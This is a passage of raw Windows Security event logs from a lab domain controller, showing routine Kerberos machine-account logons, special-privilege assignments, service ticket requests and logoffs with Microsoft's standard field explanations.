The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248320
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x817E4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248319
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81766
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248318
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81766

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248317
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x816F0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248316
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x816F0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248315
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8167A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248314
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8167A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248313
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81604
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248312
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81604

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248311
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8158E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248310
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8158E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248309
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81508
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59041

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248308
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81508

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=248307
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{472F4383-364A-400B-26FB-F685AC8C6C37}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248306
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8148B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248305
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8148B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=248304
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{472F4383-364A-400B-26FB-F685AC8C6C37}

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x60810010
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=248303
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{472F4383-364A-400B-26FB-F685AC8C6C37}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248302
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81265

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248301
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81265
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49702

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248300
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81265

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248299
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x810D4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248298
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x810D4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49701

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248297
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x810D4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248296
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7DFE2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248295
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
